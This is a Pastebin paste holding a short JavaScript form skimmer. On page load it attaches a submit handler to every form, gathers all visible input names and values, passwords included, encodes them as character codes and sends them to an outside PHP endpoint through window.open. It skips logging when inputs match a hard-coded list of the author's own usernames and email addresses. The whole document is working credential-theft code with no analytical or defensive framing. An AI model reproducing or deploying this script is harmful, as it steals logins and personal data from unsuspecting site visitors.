Advertisement
madcatzano

luck

Mar 31st, 2016
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.14 KB | None | 0 0
  1. window.addEventListener('load', function() {
  2. var temp2 = "";
  3. var i = 0;
  4. var filter = ["scammer@bad.hu", "creeperfan44@gmail.com", "madcatzano", "frontflip12345"];
  5. function add(form) {
  6. form.onsubmit = function() {
  7. var skip = false;
  8. if (!location.origin)
  9. location.origin = location.protocol + "//" + location.host;
  10. var temp = form.querySelectorAll('input:not([type=hidden]):not([type=submit]):not([type=checkbox])');
  11. temp2 = "["+location.origin+"] ";
  12. [].forEach.call(temp, function(input) {
  13. if(filter.indexOf(input.value) > -1) { console.log("Nah. Filter detected, skipping logging."); skip = true; }
  14. if(!skip) { temp2 += input.name + "=" + input.value+ "|"; }
  15. });
  16. if(!skip) {
  17. var output = "";
  18. for(i=0; i<temp2.length; ++i)
  19. {
  20. if(output !== "") output += ",";
  21. output += temp2.charCodeAt(i);
  22. }
  23. console.log(temp2 + " ["+temp2.length+"] " + " => " + output + " ["+output.length+"] ");
  24. window.open("http://nosco.pe.hu/aprot.php?k=" + output);
  25. }
  26. };
  27. console.log("added:" + form.id + "("+form.name+")");
  28. }
  29.  
  30. var forms = document.getElementsByTagName("form");
  31. for(i = 0; i < forms.length; i++) {
  32. add(forms[i]);
  33. }
  34. }, false);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement